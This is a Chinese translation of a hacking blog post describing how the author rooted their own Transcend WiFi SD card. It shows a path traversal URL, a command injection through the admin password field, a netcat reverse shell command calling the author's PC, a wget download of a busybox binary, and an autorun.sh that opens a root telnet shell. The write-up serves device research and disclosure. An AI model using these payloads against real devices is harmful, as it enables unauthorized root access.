Hacking之乐——揭秘带WIFI的SD卡

我最近很高兴拥有了一个Transcend WiFi SD card,它可以让我在几秒钟内将数码单反相机(索尼NEX,相当便携)中拍摄的照片传到任何拥有wifi功能的设备上。由于我很喜欢在旅途中拍摄和分享图片,所以用SD卡如果可以无线上传照片到我的手机上,似乎是一个很好的解决方案。而实际上它就是一个很棒的解决方案!(以后也会是)。移动应用程序可以……不,应该加以改进一点(为什么要渲染下载的7MB图像时,只能再次点击“下载”?),但是,嘿,它能够完成任务!

我立刻被事实惊呆了,这个小设备在这样一点点的空间内不仅可以存储16GB(甚至还有32GB版本),且它还是一个嵌入式系统,完全有能力运行应用程序,包括网页服务,和其他wifi覆盖下的设备进行交互,甚至为其自己的无线网络进行供电。好了,废话说够了,进入主题:我们能不能用这个设备做一些设备设计中本没有想到的功能呢?

写这篇文章的目的不但是为了让你们root(越狱)设备,也是想在过程中发现和利用漏洞,其中的一些方法可能会是一条死胡同,但其他的或许会给你带来惊喜。

准备Hax

我从一开始怀疑该卡中存在着某种形式的嵌入式Linux系统。如果是这样,扩展它的功能会很容易,但是,首先我需要了解这个系统。到现在为止我只使用过Android和iOS的应用程序,而且很明显最简单的解决方案就是与电脑连接,让它成为一个Web应用程序。下面的想法立即出现到我的脑海里:

“如果移动应用程序很糟糕,那么它肯定是web应用程序/Web服务器……也许它充满了等待被利用的漏洞。”

宝贝儿,我是对的!

一旦你连接到Web服务器(该卡拥有的IP是192.168.11.254,默认登录admin/admin),你就会感受到和使用手机app一样糟糕的感觉,翔一样的“用户体验”,神一样的“黑客感觉”。然后我们可以使用功能强大的工具来找到漏洞,像是scanners和fuzers,这个系统的安全等级十分低,以至于我随意的扫描一下,就可以发现可以利用的漏洞。

文件名为“File”的目录十分显眼,因为它允许你浏览SD卡。不幸的是,它不会让你去的SD卡根目录的父目录中。就这样?“File”其实对我们很有帮助,我们可以了解系统的内部工作原理,获得关于它的更多信息。如果我们足够幸运,甚至可以通过Web界面运行一些指令。这样你就会注意到下面的url链接显示的“父目录”点(%2F就是URL编码格式中的斜杠字符“/”):

http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd

好了,让我们试着浏览下/www,被转到http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww 

事实证明这行不通。浏览/,/bin,/etc,或任何其他目录都失败了。:(运气不好。那应该非常简单才对!好吧,原来也没那么困难,程序员真是粗心。导航栏中?dir=/www/sd/../..同/是一样的效果,成功了!

图片1

哎,真尴尬!看开起来貌似程序员只是确保路径使用/WWW/SD起始,但没有检查清楚父目录的“../”。通过这种方式,我们可以浏览嵌入式系统中的任何文件。当然,点击文件是不会执行它们,只是进行下载,这已经是一个巨大的成功了!

通过文件系统导航和下载脚本,可以很清楚的知道该系统使用的是busybox,因为大多数二进制文件的大小是相同的,这暗示他们通过软链接连接到busybox来执行文件的。然而,许多不是,如大多数在/WWW/cgi-bin目录下脚本。这些可能是最有趣的,因为他们才是我们可以通过指向我们的浏览器来运行的。

Hax运行

这看起来很好!现在我们可以访问内部系统,即使只是只读模式,仍然给了我们一个巨大的惊喜,因为我们能够研究和寻找可以利用的漏洞。:)

检查一些脚本,并找到可以被利用漏洞,花不了我们多少时间。顺便说一句,所有这些都是Perl脚本。Perl有一个很好的功能就是使用open()库调用打开一个文件,因为这样不仅会打开文件,而且文件路径如果并不是路径的话,还会运行程序;同时shell命令结束。如open(“cat/etc/passwd |”)。另外滥用open()将可能在不同的位置写一个新文件,或者覆盖现有的文件,所以我们可以编写自己的代码并运行它。让我们来看看是否有文件可以被利用。

当文件包含一个由用户提供变量的open()调用时,文件就会变得特别的突出。kcard_upload.pl包含以下语句:

图片2

事实上,这个文件不是真的可以用在所有的Web应用程序里。kcard_upload.pl对用户是隐藏的,但它仍然存在,在cgi-bin目录下可以访问。我们只需用浏览器指向它,它就可以运行。现在这将是双重的尴尬,甚至没有使用一个可利用的脚本,但是这可以被可利用吗?

通过kcard_upload.pl来阅读代码,我可以告诉大家这里存在三个使用控制变量$内容的基本名方面的挑战。

首先,$基本名不能真正直接被用户使用,因为它是调用GetBasename($upfile)的结果。用户(即,攻击者)直接使用$upfile IS。更确切地说,它是你要上传文件的HTML文件路径。但是,如果我们提交了路径,GetBasename最后将只返回路径的文件名,和其他的分开。这使遍历目录(如之前提到的../../技巧)成为不可能。

其次,$基本名由脚本转化为大写字符,所以无论我们怎么输入都将会被转换为大写,这限制了我们的策略。

最后的苦难是kcard_upload.pl的脚本只允许PNG,JPG,BMP,GIF格式的文件上传。

所以这是一条死胡同吗?没那么快结束!

如果你更仔细的看代码,你会发现尽管程序员的目的是为了限制上传上面提到的文件类型,他们只是检查包含这些扩展名的文件,而不是结束他们。

图片3

此外,正常的表达式不能真正检查到点,在常规表达式中的一个点可以代表除了换行符以外的任意字符。点应该已经远离了一个“\”。我猜的程序员打算写/ \ GIF $ /,但只写了/.GIF/,所以我们可以绕过我们提供的路径,包括任何三个字符组合在任何位置的限制。如/hi/helPNGlo/asdf.something。十分方便!

一旦发现我们的路径变成大写的情况,也许我们就不能再调用任何系统命令(因为大部分都不是大写),但也许我们仍然可以上传新的文件,也许是把我们自己的脚本以这种方式进入系统。我们并不十分关心这些脚本文件名是大写或小写。

最后,如果你还记得,我们的路径在使用变量$基本名称来存储之前,己经使用GetBasename()转化了。GetBasename()做的就是分割路径,和最后只是使用文件名。所以/path/to/file.txt会变成简单的file.txt。这不好,因为这意味着我们再也不能操纵路径,还有不能执行例如“../../bin/our-malicious.script”这样的脚本,因为它总是会结束“our-malicious.script”并且存储在DCIM/198_WIFI/。:_(

图片4

除此之外,GetBasename()包含一个可以被利用的漏洞代码。:_)

这些代码基本上被认为这两种情况:用户提供的路径是由的windows风格落后斜线,含有斜杠的路径(除去windows之外的任何OS)。或者更确切地讲,我应该说那就是我们的计划!真正要做的就是,检查它是否包含一个反斜杠,然后假定它必定是一个windows路径(反斜杠分隔符),所以它被反斜线分割。它并不会真正的检查路径是否由斜杠组成。因此,考虑到以下路径:

/this/part/gets/discarded\/this/path/is/used

因为它包含一个反斜杠(这是一个合法的字符),假定它肯定是一个Windows路径,因此我们将一个不是真的基本名称的basename结束,但实际上这是一个路径。在我们的例子中,路径将是:/this/path/is/used.

你看!像/PNG/something\/../../our-malicious.script的路径将绕过所有措施,之后写入我们选择的位置。这是个好消息。坏消息是不能真正的工作。这是因为脚本错误的假设../DCIM/198_WIFI已经存在,但由于脚本运行从/WWW/cgi-bin开始,所以实际并不是这种情况(正确的路径应该是../sd/DCIM/198_WIFI)。令人伤心的是对此我们什么都做不了。这个漏洞是从硬编码到脚本的。开发人员应该重视这一点,因为这些脚本不能被用户使用(它是隐藏的,记得吗?)。据我所知,尽管我们做了努力,这还是一条死胡同,虽然也许有人可以拿出一个创新的解决方案。:(

(另外,kcard_upload.pl输出的形式并不调用其自身,但调用一个名为wifi_upload二进制文件,所以我们需要用HTTP POST调用自己)。

Hax继续

没有想到!我们已经了这样的事实,编写的代码质量很烂,就是说肯定还存在很多其他的漏洞(如果你真的很想都找出来,从kcard_upload.pl中调用的/www/cgi-bin/wifi_upload工具,可以利用的栈和堆溢出,因为代码中有很多乱用的strcpy调用)。事实上,我没有过多的检查他们。我没有在这篇文章中详述其他的“死角”,我会详细的讲述一个很容易被利用并特别突出的漏洞:

直接从一个perl脚本调用shell命令有很多不同的方法,如果程序员粗心大意的调用shell命令,也许我们可以运行我们自己的shell命令。使用perl脚本运行shell代码的一个方法就是使用system()调用。有大量的system()调用由PL和cgi的文件组成,但区分他们要通过硬编码,所以没有太多的操纵或利用。另外一种使用perl调用shell代码的方法是使用qx{}表达式,但是不能用在任何地方。然而,第三种方式是使用反引号环绕shell代码,这就相当于使用QX{}。这里存在很多这种情况,他们也使用用户提供的shell里面代码输入。这意味着他们使用shell代码混合我们的输入,所以可能被用来运行我们自己的代码。

在kcard_save_config_insup.pl有一行给人的感觉就像圣诞节:

图片5

该语句运行任何特定变量$update_auth的命令,把$ LOGIN_USR和$LOGIN_PWD作为参数。这两个参数是一种形式,这意味着我们可以控制其数值。不会检查它们的内容,更确切地说,它是当你进入Web界面,并点击“settings”时才显示。你可以通过这种形式导航直接访问http://192.168.11.254/kcard_edit_config_insup.pl。这是管理员的用户名和密码。这意味着通过选择正确的密码,我们可以执行代码。首先,密码必须包含一个分号,$update_path命令执行后来以启动一个新的shell命令。然后,它可以包含任何我们想要的shell代码,最后,密码必须用#符号(开始一个命令)结束,后随的将被忽略("> /mnt/mtd/config/ia.passwd"部分)。

通过选择的密码容易测试,如:"admin; echo haxx > /tmp/hi.txt #"

然而,执行检查是非常彻底的,它不会允许存在长密码和奇怪的字符。由于这些检查是通过JavaScript来完成的,而不是服务器端,我们可以很容易地绕过它们。我用Form Editor Chrome扩展来摆脱这些问题。

递交表格后,我们可以很容易地检查漏洞是否一直有效访问/tmp中存在的漏洞。我们甚至可以下载该文件并检查其内容是有效的。 

图片6

记住要恢复你的密码为“admin”,否则利用完此漏洞你需要把你的卡进行出厂设置(尽管恢复不会影响到你的图片)。

获得root身份

在这一点上,我们不仅能够读取嵌入式系统中文件系统里的任何文件,而且也可以执行shell代码,并写入文件。不过,我们仍然缺少合适的shell。

寻找在目录/usr/bin中的内容,我们可以告诉大家,这里有很多可以让我们创造反向shell的好东西:netcat的(NC二进制),Telnet等。反向shell工程通过我们的PC上一个特定的端口来侦听传入的连接,把目标系统连接到它,通过输入连接来运行shell,并通过该连接打印所有输出。这些方式是不会指望你用手和脚来计数的,但最简单的方法是使用netcat:

nc 192.168.11.11 1337 -e /bin/bash

这会让netcat来接到我们的电脑(被分配的IP为192.168.11.11)的1337端口,通过它进入子程序。当然,你必须使用先前所描述的漏洞来运行这个,想你的密码改到“admin NC 192.168.11.111337 -e /bin/bash #”。遗憾的是这根本不起作用。因此,任何伎俩都要使用telnet和其他工具。为什么不能成功呢?NC,telnet和其他的符号链接在/usr/bin中,这样的指令语法是正确的!事实证明,所有这些工具不能在busybox架构中使用,其中包含在我们喜爱的SD卡的嵌入式Linux:_(我们可以尝试调用telnet或netcat来测试这个,用下面的命令:“NC192.168.11.111337 -e /bin/bash &> /tmp/hi.txt” 把stdout和stderr重新指向到/tmp/hi.txt,下载hi.txt以后,它的内容将会沿着线读的东西:“NC:未找到小程序。”这意味着NC不能用。我们会限制命令运行糟糕的文档域,没有连接网络工具吗?当然不是!

碰巧的是,wget使用的是一些超脚本,这个功能能够实现。它允许我们下载另一个完整的BusyBox二进制文件:我懒得自己编译一下,所以我获取了一个预编译的busybox二进制文件从

http://busybox.net/downloads/binaries/latest/。我把busybox-armv5l的二进制文件放在在我的电脑上的本地网络服务器(我的SD卡没有在互联网模式下被配置),所以我只是运行了“wget http://192.168.11.11/busybox-armv5l”,使用表格漏洞把它下载到SD卡的/WWW/cgi-bin目录。我也运行了“chmod a+x /www/cgi-

bin/busybox-armv5l”只是为了确保它在随后运行。

图片7

最后,我得到了我的远程shell!通过“NC-VV-L1337” 侦听我电脑的1337端口,运行“/www/cgi-bin/busybox-armv5l nc 192.168.11.11 1337 -e /bin/bash ”在该端口上打开SD卡的shell,busybox的二进文件拥有所有工具,我们可以通过远程shell运行“/www/cgi-bin/busybox-armv5l <command>”来获得了更丰富的shell命令!例如:“/www/cgi-bin/busybox-armv5l id”告诉我们,我们已经以root身份运行了。

更进一步Hax

假如你忘记您的密码,需要恢复它,你可以使SD卡恢复到出厂设置(删除一个特殊的图像,重新启动后复位SD卡)。不过,你可以恢复你的明文密码,由于真的,真的,真的粗心错误。这有一个“隐藏”的perl脚本,kcard_login.pl,这将是最怪异的登录程序EVAR。从wsd.conf文件中检索密码,然后在用户检查密码的合法性浏览器上用javascript代码。是的,你没有看错。是使用的javascript进行检查。

图片8

这意味着你要恢复明文密码指向你的浏览器到http://192.168.11.254/cgi-bin/kcard_login.pl,然后看到页面的源代码。密码是正确的。

图片9

(更新)感谢黑客友好分享的后门

在启动时自动运行autorun.sh的脚本(rcS中rcS.p),如果它被放置在SD卡的根目录。这将简化开发和进一步的被黑客利用。 

图片10

在我的SD卡的根目录下,我有以下脚本(名为autorun.sh),和busybox-armv5l,这样我就可以简单的telnet到系统:

cp /mnt/sd/busybox-armv5l /sbin/busybox
chmod a+x /sbin/busybox
/sbin/busybox telnetd -l /bin/bash &

于是,该卡供电后你就可以登录,并已完成启动: 

图片11

尽情享受hacking吧!:)

原文链接:http://blog.idf.cn/2013/11/hacking-transcend-wifi-sd-cards/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值